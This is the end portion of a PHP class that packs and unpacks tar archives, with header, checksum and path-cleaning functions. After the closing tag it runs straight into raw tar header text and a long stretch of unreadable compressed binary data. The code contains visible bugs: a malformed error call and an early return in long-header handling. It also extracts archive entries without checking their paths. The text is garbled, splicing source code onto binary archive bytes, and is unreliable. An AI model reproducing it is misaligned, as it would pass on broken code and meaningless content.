			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>931753/931753.tar000064400000605000150432665020006606 0ustar00load.txt.txt.tar.gz000064400000063115150425251240010254 0ustar00��ks#I���l��Ylvh�H�d�5�$��*�2���3$�=e6+�Jg�w&�Nf�ݝN:��k%�jG��ٿP��K.<"�$HV�̮t��.�����������`6ؾ0���l�n6�����&��&�x4�Nf\߿ڮ��O�	��X$�E�@����p,�D���Dc!&�����r�)�ɿ���;�Qxn0����2Tg���v��H��p$!�B�#q�>��M$����]@���ɠϨ�LJ�pH��g,k�,|~��^��߾�{_�~����0MUS����+E`��_�e�gQ>�"%/Uq9�A��MY	�Nę5�[��� K*�1��W��Y��K�|-s+s k����䁴�uJ�^1�N�$���4p�;��ʡ��b���N{�(�xa����J��VU�8y������(}!O�'[(;@Ź��$��-��H��r��TR��v#e����9�XKRO���~`G����5u�H�9���*U�E���i9�4�F�pz��K�� |�t$4D�"7j��Q�pm�_A໼�P�ʩ���ṖSN�yNR8TR}U�i��4YR�,"̥���Zk�t�H�@�9h��ѓ��hP�֌�ִɒ��JS,5`|�F�ܳ���@ot�I���X�4	�J<��d�EE�k��Q+O��)>�>f�-x#(�}�ͥ�%�'���>�d4�8�pߓ����<��QT,D��֊ֳ�k�}�<��[K;ͷ}�+��q����o��ľ�ɢ:�!&�>y.���p��u�&��$)���H&EN�$�[��cW?�5���O4d(Oʸ�����\"V������2]F�g�0���gP��{"�nT� �p�G��iB��ݧo�z%_�Vr���p��2��GJ�̉�e��0}�T]������>�����?~������2���F�#�C�g����HkUd��F�&�}"�����@������"���>�����g>����?��;��?��;�5��/��_���������?����7(�o>�}t��ӏ���O>�A���ߡ6^�����!�e~��Q���פ�Z"���!���_#ȿC�\'��O?�G�W��_�b�U�'�K �_�&P��@i5��+��ߨ��?�9���4A�~�?0�+D�� ����]�#`����l���h�ߡ�	���48�A�G� 
�4IY(�CHM~�2�(��̟C�8e"���"$��2�`�oP�?��u�x��Ŀ�R��YX�����,~�iH��~���c��0���M���Tk 1M��K�7x����@rZ ��B�[i��&c���	����!���s���_c�0����A��~�&�o0*֕*�;�W�ʏ���0t��̪W!r�4����@
�11S/7�-������(]�?�����b�1�(��&�B<�=KP�9&ҿ#m���P�_Y��R8�j$�J��I/��K4�_#��	�Rdj�%�a��;E^����̀3��1�]��A��GX����@*Ul>����B �#�xT�
F�?R����[Ŕz�Ɂ��)�P��.L�_�A��f�K)#R��'a�e�c��1��|<��|�`�Ҩ����}���_��%$*qU̟���3�!�DYS���eO��B:�k*Mm���)�9���;a�Bm,��e�����R���!�+���y��,:�`@ELf2~�֑b9[;�èA�
�WN�Bq�r��#�B[?���E�e�
3);E���A��ˬ��C�2�1;u��l7�:�3^��<��)���r�E{^�Q̭���A
^�((���ᗤ5^[�eF����=�+<KeL<p9����@/�=���_��V�f;2�aԧ�N��,�%�_�rI��j�M(	�?G4�k��0)l��d,�-�_�im����aH��2�,��@!���M���^A��>��Z�D�G�2�r�Wx\���ĐF��O�h�ʭ��׀�uZ2��07���7�j��H�^�a��F�v�
Bkn�)~�N���LRD�Ea[�g��\�_(n��1;���!���\�4��~d��P6#��ʂ O�.�s�\��Z(��R@�[�ۓ�5���I��S��)4r��.Hw}�0��RX4��v�]��~X�X���B<3G����Ţ_8�����!�y��+�
��Y�Ho�6;y2���^�-(Fh7�F���N���6�oO=�w�g�Xʚ���(�K��XչX��r�RF�I��AQD�K�%��rP*�T���Ġ?rI�ݦ�R�*���͡a�[|��߻���#���H����xV�`����n�a�m@�
y��N���N����I�皼`����r�9�l�^�qa�	9�o�����c�e)��a��
���rіij���R����,����-Ќ���T�tUIBK4�N*h��K�t!�����ĵC�Փ�^���k̷>29e�Rt/���N9"Z���`8O*�H꒖�2�m,^��?�g����r
P�n���Д:��{ۤM,~�V�ЮۑQu%Y�Vv-
#Mm�qKs��3�Y�� Uh��em͋����̂<o�3��IA+��������'{xPz�ܒw�k�=q��>�3�#>��d�Q��+�\�n}���ӝv��0�`�aZw`�;`gEA��"�*k����էM�XhuaN���&
+�����P&��n#-_��}Y��j�N�"��=�D(�ؐ%p���Q�OtQ�K���w���$f&�#D[Gݶ��7�H��b#��u���<Uj��M��[I�
�VD*�0h:�~����u*�4��2>L�ZZ�H�٠�N������ed�!)H̑��"8\F�Kk�Ct&��h���3A���Q����|R�d�ےϟ�7�B�>1:�a�1�	|a���8D�b$��4E�|ǘE/�2���T8��bS8,vKC݀q��߻T�,��2�C��z�:�	O�Z�E��$�� ��+UZf �h>�'�u���c �H��dm3Y�%�u!���'�����Std<�԰��?�8e��"Py�Ey�����OD��SSO]�>�w߄��q0���F;�e�C.�z*��Z�QG�ڵt�Af���r5w���S��m<=�bdׁJ�e��Zi�T�o,��� ~|��q}��é��;χ��>�.�GM�߸�"�VZ��eЩ���A��
��n'g�0���.��߅6?>�3�>�7&Fo�@�>�n�x�t����vY�o.
��	Y,��6C��i����`��H����$����SJ�>��P���{�9��	��Oa�Z*~�ՒfCo��\� �h��']���%}A��XS�<������PqA-�x��h�t6��:X�«��5Bэi��M�@_�E� �;fZI~�v6����B
�!�c.sf�T�� �e!�J �MghMј7h��wAk�7�e��t�=م��Q4kK6q�q�vfl��Z�NS�����,ƣ�p�l%��M^��b��ש�e2�H�0�li�4>��%�x��b�i���<�Օ񑐌es�|�HD��D�����*&���d7�5u�v0��P{`����*��&vP�ρ���b6PU��o��̑2i8{`����;��s�B&��
XM_Ŝ1�?4h
ڀ6��4�S{�X�
�(\�?��E�(�f�:���J
-���
�@Px��:.�Ԟ�,|zP6� eG�)��(ߞ��͉���x����rz;��MK��gZ
}Ao�_Л@©7���&r�7���-�k5��B_Л�SoBQ�����ޠR�Z-^RQj�h�GʵD�(Ҁ�M�X�H���� Y����^�M����+*|��#�B��!H��`%�%�H6��h	��0S����r�~v����~B�#��.��W;�_8����G�	{�c���		Z[�i�������#`(kn���IxGl�r�e� ��]�@)04� �M34^�H5�Q�[��F��y�U:^V3(�i�ۮM�>�:��M謋@\Jڈ
��m�3y�6,bT�c�j�\���m+cU�D�'kܪ����y]{��B��,I�;�~��W��o`q�/6����0󓞂��zh��.��;W�~�R}��z<Z�s4�y��Z/�SW����1�0g��p�;e�8��*�JZ_0@<x�e��	�/�,���v{�Aq���sI�$E�0h+��w?ݙ��^�=����1��މ�u�Y*<�z�=s�DܟP`����E���u���QG�J�
H�B{n�f"фIחs���P��PW�$�6�0�@�I����:�T���r�,
ċ��K�֚>��G@�� l�%���ּ7���u��x�
OMc�B=ݖ@᫽�D�ݵy{�"���c6��%��Z�{[�I�Y7��<~�w�L�]vf�y���_�50�^�������9݅���[z-�X7sy��ۯ�!P�;D4��~�2�u�
�G�|^��`��e���)�&�
�#�\�=�7WW��p.u�_��1��Y+�IT�/��a�Gk�_ߏb|�W<-٤2���r6�6�ZYo���q���h	 ]۶VV��>�U�(��Ke�ÛU����3��u�?q����d�X�9�(m�����G_�I#�߇u�f��
n���זᇌ���>���zC�7�5p�X�>�Ɓ�:D�&@!Ce1��c����cf��kh���&	C��A��	�-�Y�N�DI0�����A�:��#��n�1����](J���p1�US7��`B�-C�,FPH�Y��v<��񁉞I��Ov㍅}��}9Y�/1J�
1O�4'Ք�nV��;���3L�3I��Du��5��΀IIJ�∤.��;�EI����~+3kAY^��C�5�w]����n�&��S���X�	%]�Ϥɷ�|�r��&�u�c��}���N��DE��@w���<��8�:�?��	(��+�[���e���n����:��s鮖�Ԓ�uM
�e	�k��X�dۘ���و��A�x��:M���-.AtW�%O��"����)Rx�SF�`�NO�Q�o	��m�Bg03�~�.<<G`_�.��tf?�+���4����/b�+�甁�N��p�fzp�L�]�n��I=l�&���b��Bه�P^����^��O�^����/�W�'>�/�l����o����%U�緰�١t:���zy��$,�~0��H$�A:�X�.ǭto�Cۍ=t��c�8��p"�v����2�HM��	{��eV��=jkg4I�(�X�Ekf?��!���i�)2�~��=�B�8� ���ƞ�A�484nۉ�y�Ą�)#f7AUT�q�ş㣏��1\9�L_�üŌ��"�t��
Z�"L��I��:�'�i�ĸ�k���5�LhNW��A;�*�G����Vn"��,�L���i���9���oZ�ʮW?�-���B֑���mG�B��&�]���RAz�l~n)ogb���q�I�?^��ڗ{*��p1��,��U<�\��u(k&=k<9�w�ὼM�w�E�h0�{�&�k8#ø`��s/-��U���_Pt�LJ�M�E��$!���`�#&T��bv�I������N/����RU�h��9!ʊ��e_��p�C�#m���r��e��9
3JrSPڞ� �MQ����6�D����$a7�{as���A�F�32~W����(P��G� �t��m���L3�~d@��Ÿ�mm!�T0�2����h ���
!'�n2��v.�c�'���Q���QȑҎCU�6*�m�y�lm�$,C,,J�+���g*B%pɠ�o ���mE��C�j�r�l�i��i]�b�[h��.�t�js�l��� DN�������iLSuC�����\C���X<�,���~���bsiR[�S�%��u�m��yp�Ϭ�退�"�R��������o*�|���B���H��X|�2ߨ�)q@��,VD1���ɯ�M��ě�.i؜�ځ��t�;_<ݟ��:��#��'G�gh�������y�4Z��O7-�"��gI���0�]<W����	J�<;���oz��2���.�Q�+�J��R��H>��X["p��{[���;R��0@���U��y	�S���Ɓ�C����ݥۭ����Ԣ��7]���xWN�d裱����1�H��$�㲠�6�*!5�~�T��>�p?�+'��<�+�dY�ą������	�o��ظ��}$|������h.��>�
x���Z{��ޙ&�>�"�����
[f6A"M%`)��4��F`���d����;
�2�ú���e���-_���.�
���c��9�5�K���Zv5�^3O�Jv��9���髞�;�Z�N�g&f�=��I��+����aX��h��%��6lŖ�"er&�`��HL
u�z2���w�p�4���~�;T��Nf�pji���S�������H>�	�?��{�s�[ ��`B���րl���np�1�5^�`fh���
�qp�1���a!sH��}̽�
I�X���}	5ghW��A�Y�c=�f
�C�p
�"�����P�j�h̭{h��γ-�  ��U������\��PAs��5S��	l�[]�����j:;
tZ+��~R�ºQX�OU�Z��*���f�y�Pm-��B�R����ˠ�U6�of��2���7<�~�| 4��Q,��6�p(����zE�K��$����>��~�7gZ8����1��﫡�J�nV(k�
r��V���4�6�8p����J�(��H^�Ȉ��Plp���J�XAO��dQ�V�-��E�~Y����+5T\yo6�A��uw�Y)Y`�fٕj^)�	o�;6�6%>X(���ƊJ-�i삡��AhW�������:��U�-7P���E-ޮ��2_�Ï�1.���hqyX��wE^Lp���L��X����q��oF�❔H�2�Q��n��<���Yh���A�#�j��ܮ�7%Aˏ���!����i�?�W{A���v}u+���|��$P��d�XD�߲�w�]�$!�/�=9�Y�>,��ފMTE6.ݲ������.�حr�~w�*>��հ�Xj�A��nP'�P���n��	6��n{�P-�
�y��X	NF�����^�.�Ty�tR�~'�M�nc�rÉ��4$q�4��ϼ�a9[Bx���@p�x1�uƛA�E��ut����]d����[6�oF��$ �z�|$��)�K-����
��X9���q<��F�zC��2K`��8P�F��~*��bsր^��bi�L
�\6\�{�*��vz��
M*�.�®�.�k��m!B��)f�B(U�dJ%��6�diZ/m��V9;~T5Uz��!�(�L���fB��H�J�]?_��kWA��ʱ�ԣ��&�d��ͬW��O�3û�}���:�l,�7��4��W2�|a��Wr�)��S�"�]��PV���,V�f��R�.��f�ĸ�m��n}��
��F��A>���͑b��R��X7 �{w��&��C��maX�ʽ�8z\��:���h���i�'\A�LJ�~����Hh=�Dk՛�4�Ԅ�7[��JX|V��hC�>�V��+�rb�hפ�x��A�;��J�4_+����099�w����z+	�o�3GY��A�^�%ˏ���3��N`�pc��fV#��n�b[���R�#���0�`���)�wp��S�KVZ�abFks�V�g
��9�����������	�ģu�m�4�7�l׫r�{��uY�8@'�u]>+Go�b��ћ0��G�>ݤ����<����4���S3���d��M6�O;��Tw7r�?�D�vh�G[�'�W���.#�q���r����}v`�����3�5z�����p��h�r؛�PA>���Z�*�{g�x�m`g?z�m���ǡ�oŞ��3�8���n�N�Y({}|<��o�=#1Lێ�=z5M7��2n��֨����a�a����x�pu��S�v��O�PDV�_](�(�~�����3�z=E ��V	�)
,E�J����p�I9�=�T�b�q��l���v}'�z�.��;�ϸ�"��3ȼ���j�߻P"�;���Y�x�H��h���{5���Z�34"���,|s���eJ݅;e|!�Օ��o�å���Ҷى�^&z�A�U�q�p|�r$��e0C/��LU:T��58�Ɉ�3B+�" �M3��m�H��D?e3/�AH"�KVoP낊f
E�q�2��	�5Z"�x���|@[z̴�Q�;T����
\qi�,:����tF�R���9�T�~A�&��/Hԥ��2	%��k�o��$�ܨ
?1V~·.��P�i�cOr�f�g?��HB�v\��L���w��H��!��L;��d[���lh�C*�q�9��*�(��E�a�xExNM�-&N 1(�ɠ��*F��\pG�Nu`z}�P`�j�k�Vi�5c�.����-�4'�z6�$�oj,s�"�pR
���\5���fo�F_���ku�8�$l��L�5�Z
�NC��+fcU0G�����8jzM����{=�֬��X(��}!��`������d!R�9��$�e%xc3��wY�0	e��cL�vl\�9�����,q0����nk��6��ۊCL2�1vm����3�Y���z�^����^�RJ�L�������,n�K�˘̅Q�łm^�_όoe�xvxY}�;�*�x�P���U���ŭ��:�����`fg�V�a��(�eMab��'���F#���+��J�[�	�Ӄ:k�l��S�_��z����v��C�a�0���S������>G��=�z�0u$���%+�z+SP�?Ǒ���p��!Hop����"Vj�Z��`�;�c �d{��:�-V�3�|r�rH�K�|�|4���slK�O0`��"W��-b+0�=��]��i�v�Lj@�ܞc	)f�Po�wu���A�P�����)Ęo/2��K���:D>�Ia�N�@EN��zu����������e޼	�����o�.��.@�s��_$�/Z�e��*^���y�a���
Ue�]���W�#u!��
�<�_� P��v��\֔� ���(���%|�B8���ʂ����9aGuL��`]���t-��d��a�Qo�/PH�wGh//�8J4YB�ҫ�6��|���n3L�Y�@,L�ϸ���q���dN;�+�"ob�~i~�&d���ӯEv��J=],�hӤHcp>�m:��kXz�3=N����bc����ߩ�_�3F�>����Y)d����N�8��*��6'�m� ��%u�Ť;,�\-���w~�v�.��NM�$�)�u�kj���1�EK��5��~!�j�aK�̒8�a��8�p���-���MZ����e#��0Q�t�qcm+����4�}mG�������}�-Z"���Zc��k]��5m֧��qz�p&�E��@f�n�'��߷�0���t�Z�kI�=�������ބ$�9����r��0�����Xz����
*b
,�<r�J�"����z�?�3m]];�>ۙ}B4-h�Jt�]6#�ѧ�&�^�b�c_.��}!��	b����Ҙ���K��K��_����M��i���0%���9(zcYC�N]%�Ya-���KW�1T3�	��#�"C�1�',�j��>&t�p��1᫛���ݢ���M��cbW����9�/�j�t�Z�K��[��쐞��)+�����㜲cz�l׳g�`��%��E�4�H8��DP4	�rh�1�.Xw��ҝթ��h��2KY|γ6�:0
2���H�z��x�;��{D�Z�`�:af����	,LMm ��bz���8�?v2�t����Wx��P�����HP ��P��b���E0��V�V8ڗ���Ǣ�uK<3�%���o��2��3�o}�̖Jb�d��9�\$�%
��!yP���\0?�sG� �Nf~��N�f�5�;sخ1 )�h�O� ��tu�4C{���uA����~h�
�%T�z�@��'`�?��������0�Ɔ�ʼn�z���9x0����؂�TxI�V�v�7h��ŕV#�G�Lr��`�M]/�n����m7]������x�|.�}B��v�N=�����4���7*uT�y�\��ld��+�m��T>[I�P%��r
�U��jZ��KFz˚Ulw�\߸Ea�z�)��y��;�����{N�����*A���B��ƕ�>�COsY�`�B[��|e�Vw��5�v}��V7�:]{��P΂.��-'���ӯ��Nϲȡ����AS��
����Jl4��t�Ny�2TBK�X���վ���ywm1V���Pm��\H�K�����p��w�6�89y��\
?܉��D�p�Ĝ�A�I��� _��d�P�OC,i�G��G�X2y�/p���"P��g�7�5�Śu�X��u��
,��_Zc,U��J8�|�9�E0��z��{eE��/׳��������y��o*�j��cl&-��~9�)�_�[*as��5�
�V�[��
�(�u�A}п֯�@q��:��tH3�ĵ�q^0h6�3�#�
��?k�б��F#܈[���
���Q-��>�� �a��c�z�J�k��>.��Vv�\�Pł@Z\,UA���kU[�@
㲤i�-��)�$�W�*BN�}�/�7�20�9h&�~{�~��ca&���X��h+,$#�,.�k?D��h��O�E�@���Zv�_&��.��CZ=�f�V20��Y���R��}u2�{�V�R���\1��7��&��\D�h
iXX���CM�T
�\���l39~�T�m�0od��B��PWj%����f�!��|'TYn�r'���۪(�#w����I�,�
ww7ELDC��hY�U&��z*�*U����Pj�q"ߊ(�A���<�W*��:-ךS6�X�ܬ�7���+��U�����J��/+���=;b���6��j�ʼ����Z�R�4��Ͷ�C[(o����ݪwK��ҬH�V�[zg�J���>h�J�:�j�bE�e��ri�ʯ�������jT�fw�D&ZI��J��P�ەn-\y�����RY=���.�*�l��nOR�J;WFu[	m�H��Fz�G��ډA.͖��Z-8�w�u��n�w�q&T�<�w��`��ʭ|�����Db�F��mf�W+�&�<F҂O��X��%���h���4��F�^a7m��R��vk�i��ī|Ub�m-���w��j�T�e�}��*|���lj住$n��m�+���m4���Ҽw�\F���V�lP��E��2��ՇvcrWj�Wo6��8
�;��4�~X���(��g��.ˎ�I����Dok|!l��hc�O��)T���u�-0Ln#RB���i�"�xo�n����Eit�M��|%2�W*7��,q_�TV�UK�G��0�M�lAY=��R��r�L�r��l�Z�#N�"K�S�v�j��櫭ڴR]O��ŴZcǫ��=<�k�u�V��*����<�eT�5�U����Fe�z�f嶜�W"��v�o��:�[���NwR�e��Ie�/��e��TUm�٬Vw��]�=o����C���V��v�MV��+����������up��q�`��p�6�c�ݚ��B�[��U��g[�j�)�g�;>q�?3s!#ߔF!^Yf���M�Ox3��h�^��ӛƬ^��TM̯�Z9����P��uT��,%���(�[�*�|���W�l��k�o�R��Z��2�ƂH���u�0��A�A��y�Tڴ���ݭ��6�D�;����M#5������!��T��q���5��V`͵�[�_�*��&8��L��]	aҾ�rJ���l[��:���2�󑂷��^?��F��f�ڮ�P-�i� �x��A�')#��%�3,��1�w.��r�[�Ǻ˷v�;�f���`}�вѴ����a/�U�b���b4J�׷�qd�u��Y�2/��Z����R9��`f�����R�G�a���Kj/�,�wj�bG���ք;�~�/(��TL�Ŷ�w���¶\|�l�����b��Ă��BH�c�}��`���G�liۺ��G�d��l��"�>�V��cY�����G�U��� ܧBw�PG��l(�NC��܈f���cP���By���D�c��8�_q\���%±Nx�v�v�+���\��|�i���H�~`)�� .+���� ��W�hu๻��a��r�+$�|X�wz�r�&/5֗c�?��xr���J�E�8�8�-e��q���m8�c����%�F۪$>N׫�8_Ϧ�E7��%���<U�Ċk�u)岃E#�'��M�t�iq����6
�fsy�*퐨��^*����ݮ#���8N��r7�m��i`�v��W��å��J������ +�4n 	��Go�b�X�-Ā,qr@
i�g{q-�
�N*s�x},��P6/��RU�](��mr�������7��S�J���}��,���v����I�޻MK1yڛn��f�a����~��l��M�����Y ��!%:��L��!�v�����gc)�*���8�S����v���g�A���Aj���K��d���S��M;�f��[�z����R���d�j9~ǵ'�M7ڼ�H���bϽ�Mt�y���(�t��"��J�“O����m�)��&�lX`�����Q�aUhUoGݸ���hϼ雩0+/�IH	V7�Z4�-V7����U�\���'!w�F7��<ګ#a�ln��:�kuG���C�~]TZ7��Hm��@�u��[fÍ�4�Dz�F�'q��DT�;����M�6��M�4(k�c��.n����]�?H��Pb�e�>��5o*ތ"i���>=暽����b�W����t�!?�d+�~U~|X���m��q����V�lJj�C�Լ����U?���Z���v;Χ�n�6��)�mw�X/L�i_i�z�v+0�����tn[��3}~�/�Ceo���ʡIl��g]�6֕&	E�,�x:#T��.����/6y>8����B+�dvZ�:�,p�0�O�i�IE�C�e����EʝP�T�'��mZN
->*n�ce!v"�B�)�V��Ġ�uv�b>6��Qe�;eV�xu�w�R�)�FR�6�m.��<�
.��Po��췸��m�va��5���2����Y'��~���1��ߔ��]L�!�':������H*���䭔�ۻY7�LuR��*^Fkm��骉��|����M0�-�d^-�K݅t{�mų�ޔ����6>
